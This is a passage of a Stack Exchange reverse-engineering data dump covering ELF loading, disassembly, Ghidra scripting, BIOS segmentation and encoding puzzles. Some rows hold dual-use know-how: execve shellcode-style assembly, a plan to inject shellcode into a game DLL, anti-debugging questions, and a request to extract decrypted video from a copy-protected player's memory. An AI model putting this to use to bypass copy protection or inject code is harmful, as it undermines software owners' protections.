href=&quot;http://www.muppetlabs.com/~breadbox/software/tiny/somewhat.html&quot; rel=&quot;noreferrer&quot;&gt;A Whirlwind Tutorial on Creating Somewhat Teensy ELF Executables for Linux (or, &quot;Okay Maybe Size Isn't Quite Everything&quot;)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the author set about creating the smallest possible dynamically-linked ELF binary, which contains only that which is required for the program to successfully  load and execute. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://grugq.github.io/docs/subversiveld.pdf&quot; rel=&quot;noreferrer&quot;&gt;Cheating the ELF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process of dynamic linking and its requirements are discussed in order to explain how it is possible for code inserted into a code cave to make calls to library functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://michalmalik.github.io/elf-dynamic-segment-struggles&quot; rel=&quot;noreferrer&quot;&gt;ELF: dynamic struggles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Process creation via cooperation between the kernel and dynamic linker is explored using r2 and binaries that have had all section information removed via &lt;code&gt;sstrip&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more information, see chapter 5 of the Sys V ABI - &quot;Program Loading and Dynamic Linking&quot;, as well as the LWN article &lt;a href=&quot;https://lwn.net/Articles/631631/&quot; rel=&quot;noreferrer&quot;&gt;How programs get run: ELF binaries&#xA;&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-07-06T04:24:10.973" LastActivityDate="2019-07-06T04:24:10.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21625" PostTypeId="2" ParentId="21622" CreationDate="2019-07-07T08:19:55.783" Score="1" Body="&lt;p&gt;I have added some comments to the disassembly you posted, so it's easier to understand.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub     esp, 8          ; stack frame&#xA;fld     [esp+8+arg_0]   ; load value of arg0 to st&#xA;fist    [esp+8+var_8]   ; store round(arg0) in var8&#xA;fisubr  [esp+8+var_8]   ; subtract arg0 from var8&#xA;fstp    [esp+8+var_4]   ; store result in var4&#xA;;now var4 = round(arg0) - arg0&#xA;mov     eax, [esp+8+var_4] ; eax = round(arg0) - arg0&#xA;mov     ecx, [esp+8+var_8] ; ecx = round(arg0)&#xA;sar     eax, 1Fh        ; shift eax right by 31; eax contains just a sign bit&#xA;sub     ecx, eax        ; if eax was negative, subtract 1, do nothing otherwise&#xA;mov     eax, ecx        ; eax = round(arg0) - signbit(round(arg0) - arg0)&#xA;add     esp, 8          ; stack frame&#xA;retn                    ; Return Near from Procedure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;round(n)&lt;/code&gt; can be a function:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rounding to the nearest integer&lt;/li&gt;&#xA;&lt;li&gt;rounding down (floor)&lt;/li&gt;&#xA;&lt;li&gt;rounding up (ceil)&lt;/li&gt;&#xA;&lt;li&gt;rounding toward &lt;code&gt;0&lt;/code&gt; thus returning the integer part of &lt;code&gt;n&lt;/code&gt;,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;depending on the rounding mode.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-09T05:20:35.707" LastActivityDate="2019-07-09T05:20:35.707" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21626" PostTypeId="1" AcceptedAnswerId="21627" CreationDate="2019-07-07T14:37:55.007" Score="1" ViewCount="172" Body="&lt;p&gt;I'm working on reversing some assembly code, and have worked it up into some pseudo code to start off with a reverse attempt. The function performs a kind of encryption on the data passed in, and I'm trying to decrypt it. However, I'm not quite sure where to begin with the reversal itself. Below is the algorithm I'm trying to reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Since the encoded string is stored in rev3, wouldn't the string data stored there be obliterated when the AND instruction runs? I'm very new at this, but it seems like that wouldn't be reversible. The AND combined with shifts has me really confused. I would be grateful for an approach to reversing this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string = [102, 111, 111] // the string &quot;foo&quot;&#xA;coded[3];&#xA;for (i = 0; i &amp;lt; len(string); i++){&#xA;&#xA;  rev1 = rev2 = rev3 = string[i]&#xA;&#xA;  rev3 = rev3 &amp;amp; 0x30 // obliterate here?&#xA;  rev1 = rev1 &amp;gt;&amp;gt; 4&#xA;&#xA;  rev3 = rev3 ^ rev1&#xA;  rev1 = rev2&#xA;&#xA;  rev1 = rev1 &amp;amp; 1&#xA;  rev2 = rev2 &amp;lt;&amp;lt; 1&#xA;&#xA;  rev1 = rev1 ^ rev2&#xA;  rev3 = rev3 &amp;gt;&amp;gt; 2&#xA;&#xA;  rev1 = rev1 &amp;lt;&amp;lt; 2&#xA;  rev3 = rev3 ^ rev1&#xA;  rev3 = rev3 &amp;amp; 0xff&#xA;&#xA;  coded[i] = rev3&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28950" LastEditorUserId="28950" LastEditDate="2019-07-07T15:12:00.087" LastActivityDate="2019-07-07T15:21:14.737" Title="Reversing AND / shift instructions used in succession" Tags="|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21627" PostTypeId="2" ParentId="21626" CreationDate="2019-07-07T15:02:10.170" Score="0" Body="&lt;h1&gt;The simplest solution&lt;/h1&gt;&#xA;&lt;p&gt;Since the function you provided operates on characters, there are only &lt;code&gt;256&lt;/code&gt; possible inputs, so you may run a simple program to check return values for all chars from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;255&lt;/code&gt; to get :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    int rev1, rev2, rev3;&#xA;    for (int i = 0; i &amp;lt; 256; i++)&#xA;    {&#xA;        rev1 = rev2 = rev3 = i;&#xA;        rev3 &amp;amp;= 0x30;&#xA;        rev1 &amp;gt;&amp;gt;= 4;&#xA;        rev3 ^= rev1;&#xA;        rev1 = rev2;&#xA;        rev1 &amp;amp;= 1;&#xA;        rev2 &amp;lt;&amp;lt;= 1;&#xA;        rev1 ^= rev2;&#xA;        rev3 &amp;gt;&amp;gt;= 2;&#xA;        rev1 &amp;lt;&amp;lt;= 2;&#xA;        rev3 ^= rev1;&#xA;        rev3 &amp;amp;= 0xff;&#xA;        printf(&amp;quot;%d: %d\n&amp;quot;, i, rev3);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You will get all possible values along with arguments, so you may just invert the output of the program above and you will get decrypting function.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-07-07T15:21:14.737" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21628" PostTypeId="1" CreationDate="2019-07-07T16:02:07.040" Score="1" ViewCount="98" Body="&lt;p&gt;I've reverse engineering little game on windows 32bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a string in executable which was interesting for me (it is a board game and this string represents the fact that somebody made a move on the board). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c7G8k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c7G8k.png&quot; alt=&quot;Interesting memory address&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that in the string is moved into &lt;code&gt;eax&lt;/code&gt;. But more interesting part here is instruction before that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ebx,eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here &lt;code&gt;ebx&lt;/code&gt; will contain the coordinate of a move which player made. This is what I'm interested about. I want to dump this coordinate into a file. So what I want to do is to modify assembly(in my case this code is in dll) and just write that data(which is in &lt;code&gt;ebx&lt;/code&gt;) into a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a little research but could not found anything useful. All I found is how to patch an executable like make a slightest modifications into assembly which is pretty simple. I was even wondering if there is any tool that could help me achieve this(like shift assembly code to make enough space for me to write some code in it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One idea that I have is to write a shellcode which dumps data, then add that shellcode at the end of some section, find my string into .txt section, edit the code to jump to my shellcode and then back to original state. But that would be pretty hard because I'm not really experienced in writing shellcode.&lt;/p&gt;&#xA;" OwnerUserId="21456" LastEditorUserId="53" LastEditDate="2019-07-08T15:57:47.807" LastActivityDate="2019-07-08T15:57:47.807" Title="Dump the value of register into file" Tags="|windows|assembly|x86|c++|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="21629" PostTypeId="1" CreationDate="2019-07-07T21:13:06.283" Score="4" ViewCount="973" Body="&lt;p&gt;I am debugging an apk app that I do not have the sources for. I want to debug it on a smali level, not decompiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to do this with apktool, but looking at their website, smali-debugging is deprecated and they point to SmaliIdea - a plugin for android studio. So I installed that, and indeed - it works fine: I can step, set breakpoints, view smali registers (v7,v8,v9 etc) when I set a watchpoint on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I cant do is actually modify those registers / local variables. I can see them when I set a watchpoint on them, but cant assign a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at &quot;planned features&quot; of SmaliIdea:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Show all registers with a value in &quot;locals&quot; pane&lt;/li&gt;&#xA;&lt;li&gt;Ability to set the value of a register in &quot;watch&quot; pane&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It doesnt say I cant modify a register at all right now, but doesnt exactly confirm it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This used to be possible with ancient apktool version though! A pretty hefty regression, I would say. (Going back is impractical, too much changed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: How can i modify those smali registers while debugging? is there a register view I am missing or something? How do other people debug APK on smali level?&lt;/p&gt;&#xA;" OwnerUserId="2808" LastActivityDate="2019-07-07T21:13:06.283" Title="Android APK debugging: modify value of smali register" Tags="|android|apk|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21630" PostTypeId="1" AcceptedAnswerId="21632" CreationDate="2019-07-08T14:13:11.747" Score="6" ViewCount="9061" Body="&lt;p&gt;I read the documentation of &lt;a href=&quot;https://ghidra.re/ghidra_docs/analyzeHeadlessREADME.html#examples&quot; rel=&quot;noreferrer&quot;&gt;headleass analyzer&lt;/a&gt;. It is used to perform analysis on existing binaries. I know that &lt;code&gt;-postscript&lt;/code&gt; flag allows to enter the analysis script. I have a java script which works fine. But, I want to use python 3 for the analysis. I want to run that like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./analyzeHeadless ghidra-project-directory -import binary-file -postscript yourpythonscript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to run python script for the analysis? Also, is there any documentation available to do that?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Edit:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I made a following script and it does work fine (but it gives me not&#xA;  found errors for DecompInterface):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ghidra.app.util.headless.HeadlessScript;&#xA;import ghidra.app.decompiler.ClangNode;&#xA;import ghidra.app.decompiler.ClangToken;&#xA;import ghidra.app.decompiler.ClangLine;&#xA;import ghidra.app.decompiler.ClangTokenGroup;&#xA;import ghidra.app.decompiler.DecompInterface;&#xA;import ghidra.app.decompiler.DecompileResults;&#xA;import ghidra.program.model.address.Address;&#xA;import ghidra.program.model.listing.CodeUnit;&#xA;import ghidra.program.model.listing.Function;&#xA;import ghidra.program.model.listing.FunctionIterator;&#xA;import ghidra.program.model.listing.InstructionIterator;&#xA;import ghidra.program.model.listing.Program;&#xA;import ghidra.program.model.listing.Variable;&#xA;import ghidra.program.model.pcode.HighFunction;&#xA;import ghidra.program.model.pcode.HighSymbol;&#xA;import ghidra.program.model.pcode.HighVariable;&#xA;import ghidra.program.model.pcode.LocalSymbolMap;&#xA;import ghidra.program.model.pcode.PcodeOp;&#xA;import ghidra.program.model.pcode.Varnode;&#xA;import ghidra.program.model.symbol.Symbol;&#xA;import ghidra.program.model.symbol.Reference;&#xA;import ghidra.program.model.symbol.ReferenceIterator;&#xA;import ghidra.util.task.ConsoleTaskMonitor;&#xA;&#xA;args = getScriptArgs()&#xA;&#xA;print(args)&#xA;&#xA;p = currentProgram&#xA;print(p)&#xA;&#xA;filename = &quot;/projects/zephyr/Ruturaj/ghidra_learning/&quot; + p.getName() + &quot;.txt&quot;&#xA;print(filename)&#xA;&#xA;#di = DecompInterface()&#xA;#print(di)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2019-07-08T17:42:30.720" LastActivityDate="2019-07-09T15:17:18.230" Title="ghidra: how to run a python 3 script with headless analyzer" Tags="|ghidra|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21632" PostTypeId="2" ParentId="21630" CreationDate="2019-07-08T22:44:08.790" Score="8" Body="&lt;p&gt;I turns out that the python script can be used with headless analyzer script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the following command I can run it, just like the java file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./analyzeHeadless ghidra-project-directory -import binary-file -postscript yourpythonscript&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently all the classes defined for java can be used directly in the python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particular class can be imported with &lt;code&gt;from import statements&lt;/code&gt;, for example in java looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ghidra.program.model.listing.Variable;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And using python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra.program.model.listing import Variable;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To import the &lt;code&gt;variable&lt;/code&gt; class. The variable class can be imported just like java (see the import statement above). But, then you have to use the whole path name to access it. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;something = ghidra.program.model.listing.Variable()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in conclusion, the same script can be written using python by importing the classes without any issue. Hope this helps someone.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Edit:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As @igor said in the comment, it works only with python 2.7 (as ghidra&#xA;  relies on &lt;code&gt;Jython&lt;/code&gt;). For python 3.x, something like&#xA;  &lt;a href=&quot;https://github.com/justfoxing/ghidra_bridge&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;ghidra_bridge&lt;/code&gt;&lt;/a&gt; can be&#xA;  used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2019-07-09T15:17:18.230" LastActivityDate="2019-07-09T15:17:18.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21633" PostTypeId="1" AcceptedAnswerId="21645" CreationDate="2019-07-08T23:37:53.857" Score="1" ViewCount="1208" Body="&lt;p&gt;I'm adding copyright protection to a demo version of a shared library.  I've seem some recommendations to add timing around license violation detection codes -- which would be debugger + patch targets -- for example RDTSC, GetTickCount(), etc.  Unfortunately this shared library doesn't have timing related codes, so adding would stand out and make them relatively easy to find (I see that IDAPro can find all all occurrences of a single instruction such as RDTSC, so I assume OllyDbg can also).  Another suggestion is to strip section headers, but that seems applicable only for an exe, not a shared library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, what is the leading edge way to either prevent a debugger from handling a shared library, or detect inside the lib that's it being debugged ?&lt;/p&gt;&#xA;" OwnerUserId="28962" LastActivityDate="2019-07-13T09:24:32.393" Title="anti-debugger techniques for shared library" Tags="|anti-debugging|shared-object|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21634" PostTypeId="1" CreationDate="2019-07-09T05:47:34.903" Score="1" ViewCount="3111" Body="&lt;p&gt;I want &lt;code&gt;execve(&quot;/bin/cat&quot;,[&quot;/bin/cat&quot;,&quot;/test/file&quot;],NULL)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my asm&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor %rdx, %rdx &#xA;push %rdx&#xA;&#xA;sub $0x16, %rsp&#xA;movb $0x2f, 7(%rsp)&#xA;movl $0x2f6e6962, 8(%rsp)&#xA;movl $0x746163, 12(%rsp)&#xA;leaq 7(%rsp), %rdi&#xA;&#xA;pushq %rdx&#xA;&#xA;push %rdi&#xA;&#xA;mov %rsp, %rsi&#xA;&#xA;movb $0x3b, %al &#xA;syscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This asm, I can get only `execve(&quot;/bin/cat&quot;,[&quot;/bin/cat&quot;],NULL) only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I pass param '/test/file' in rsi?&lt;/p&gt;&#xA;" OwnerUserId="28965" LastEditorUserId="28965" LastEditDate="2019-07-09T16:20:18.463" LastActivityDate="2019-07-09T19:29:33.270" Title="How to pass param to execve to execute cat a file in x64 Asm?" Tags="|assembly|c|shellcode|x86-64|" AnswerCount="1" CommentCount="3" ClosedDate="2019-07-31T07:17:28.857" ContentLicense="CC BY-SA 4.0" />
  <row Id="21635" PostTypeId="2" ParentId="21621" CreationDate="2019-07-09T09:03:09.577" Score="2" Body="&lt;p&gt;So, it's a little difficult to describe it without the actual file but I'll try. For proper disassembly, you should load code so that it matches the expected addresses. For example, last 64K should normally be loaded into segment F000, so that the first byte of that segment is at F000:0000, or linear address 0xF0000 (seg&amp;lt;&amp;lt;4 + ofs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some simple rules of thumb:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;64KB binary: load at F000:0000 (0xF0000)&lt;/li&gt;&#xA;&lt;li&gt;128KB binary: load at E000:0000 (0xE0000) &lt;/li&gt;&#xA;&lt;li&gt;256KB binary: load at C000:0000 (0xC0000) &lt;/li&gt;&#xA;&lt;li&gt;512KB binary: load at 8000:0000 (0x80000) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Next, you'll need to create segments based on far jumps and calls, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EA 00 00 FD AF    jmp     far ptr 0AFFDh:0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;means there is a segment with the base 0xAFFD, so, create the following segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; start address: 0xAFFD0 (base&amp;lt;&amp;lt;4)&#xA; end address: 0xBFFD0 (maximum 64KB long)&#xA; base: 0xAFFD&#xA; (*) 16-bit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;next, go through disassembly and look for other far jumps/calls to gather other possible segment bases (a good source for that is the problems list). Create corresponding segments (you will likely have to truncate some of the previously created ones; this is normal as segments using full 64KB are not very common). You may also need to use a start address not at seg:0 but small offset, e.g. seg:7 (so seg&amp;lt;&amp;lt;4 + 7). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most BIOS ROMs it may be be useful to create at least the last two segments (E000 and F000) straight away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info on how segmentation works in IDA, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/508.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;see here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6067/&quot;&gt;Segments in IDA. How to overcome NONAME problem&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-09T09:03:09.577" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21636" PostTypeId="2" ParentId="21634" CreationDate="2019-07-09T19:15:43.517" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://linux.die.net/man/2/execve&quot; rel=&quot;nofollow noreferrer&quot;&gt;execve specification&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Both argv and envp must be terminated by a NULL pointer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but from your question it seems, that you forgot about it; you want to call it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;execve(&quot;/bin/cat&quot;, [&quot;/bin/cat&quot;,&quot;/test/file&quot;, NULL], NULL)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it still doesn't work, here is the working code in C. You can then follow @user3629249's suggestion and use &lt;code&gt;gcc -S nameOfProgram&lt;/code&gt; to get the assembly generated, or just compile it and see the output of &lt;code&gt;objdump -d nameOfProgram&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    char* argv[3] = {&quot;/bin/cat&quot;, &quot;/test/file&quot;, NULL};&#xA;    execve(&quot;/bin/cat&quot;, argv, NULL);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-09T19:29:33.270" LastActivityDate="2019-07-09T19:29:33.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21639" PostTypeId="2" ParentId="21594" CreationDate="2019-07-10T04:20:13.733" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Could I simple cut the main Vdd line of the original microcontroller&#xA;  and add a switch to be able to switch between our custom control and&#xA;  the original control?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. The MCU would get powered up through the protection diodes on its I/O pins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would there a way to read out the current hex code of the original&#xA;  microcontroller&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably not (or at least not by normal means). The firmware is most likely read protected.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;would there be such a thing as a reverse QFP breakout board?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.logicalsys.com/painfo-vpasp-vb.asp?adapter=pqf-44&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yes&lt;/a&gt;, but it might be cheaper to make one. If soldering wires to 0.8mm pitch pads is too hard then trace the signals to their destinations or nearby vias. Then wire them to a 0.1&quot; matrix board, and put the original chip on a &lt;a href=&quot;http://www.proto-advantage.com/store/product_info.php?products_id=2200108&quot; rel=&quot;nofollow noreferrer&quot;&gt;TQFP to dip&lt;/a&gt; adapter board which can plug into it.     &lt;/p&gt;&#xA;" OwnerUserId="27393" LastActivityDate="2019-07-10T04:20:13.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21641" PostTypeId="1" CreationDate="2019-07-10T08:10:41.627" Score="0" ViewCount="428" Body="&lt;p&gt;I have a player that plays encrypted video files and works like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I open an encrypted video file with it&lt;/li&gt;&#xA;&lt;li&gt;it decrypts the video file and writes it to its memory&lt;/li&gt;&#xA;&lt;li&gt;and plays the file from the memory after that&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and I want to copy the decrypted video file from memory and play it with a usual video player like VLC so I tried to create its memory dump with task manager and hoped to find out the video file there. Sadly I don't know enough to find a video file in a large chunk of bits from memory. I tried to find mp4 patterns in a hex editor (I guessed it might be mp4 because of the unencrypted sample files that they provide before purchase and many mp4 occurrences in the memory dump) and tried every solution that I find online but nothing worked for me so I hoped someone here maybe has an idea and willing to help me how to make it done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upload its memory dump &lt;a href=&quot;https://ufile.io/aivq3d8e&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (after opening a short encrypted video with it) and &lt;a href=&quot;https://ufile.io/8oqiyxei&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is&lt;/a&gt; the original encrypted video and &lt;a href=&quot;https://ufile.io/jucf2fpc&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is&lt;/a&gt; the player and these two are the prerequisites before installing the player: &lt;a href=&quot;https://cafetadris.com/upload/software/lock/prq.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://cafetadris.com/upload/software/lock/lock-codec.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; (the last one is the K-Lite Codec Pack)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This player doesn't provide any information about the video, but from their unencrypted sample files, it might be 1280x720 and the duration of video file that is inside the memory dump and original encrypted file, is 13 minutes and 26 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After loading the video, the disk activity of the process (player) tends to zero (even if I seek to middle or end), and I found a direct ratio between the encrypted video file size and the amount of memory that player occupies, that's why I think video file might be in the memory dump. I just don't know if it is encrypted or not, if not how to find and extract it, if yes how to analyze and find out about its encryption method and hopefully find out a way to decrypt it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This video is encrypted by a commercial software named Balas Soft Lock (&lt;a href=&quot;https://www.copyprotection.net/balas-soft-lock.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.copyprotection.net/balas-soft-lock.aspx&lt;/a&gt;) and the main reason I want to unlock it is that their player doesn't provide the features that I need (for example keyboard shortcut and fast forward).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is a clone from &lt;a href=&quot;https://stackoverflow.com/questions/56895333/find-a-video-file-in-memory-dump-of-a-process&quot;&gt;StackOverflow&lt;/a&gt; and still is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight is appreciated, Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="28982" LastEditorUserId="28982" LastEditDate="2019-07-10T08:17:52.090" LastActivityDate="2019-07-10T08:17:52.090" Title="find a video file in memory dump of a process" Tags="|disassembly|windows|decryption|encryption|memory-dump|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21642" PostTypeId="1" CreationDate="2019-07-10T11:15:47.900" Score="0" ViewCount="285" Body="&lt;p&gt;Not sure if this is the right place so please point me to the right place if needed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have an input of a VIN (Vehicle Identification Number) number with 17 characters, each character is either an uppercase letter or number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The input is then encoded into 24 signed integers, the integers go from -128 to +127. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be any direct linear relationship between the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what this encoding might be? Or, how I should go about trying to reverse engineering it? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;An example is:&lt;br&gt;&#xA;Input: 1D8HB58D04F177301&#xA;Output:-2|-72|-11|-2|18|100|-69|15|93|120|15|-97|-35|52|85|-114|53|-123|-1|-101|-38|125|-100|113&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have access to a dataset mapping the inputs to outputs and also a tool that converts an encoding (24 integers) into a VIN&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Inexperienced with this so any help is greatly appreciated! &lt;/p&gt;&#xA;" OwnerUserId="28984" LastEditorUserId="28984" LastEditDate="2019-07-10T11:22:43.753" LastActivityDate="2019-07-10T11:22:43.753" Title="Reverse Engineering a Vehicle Identification Number (VIN) encoding" Tags="|encryption|encodings|hash-functions|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
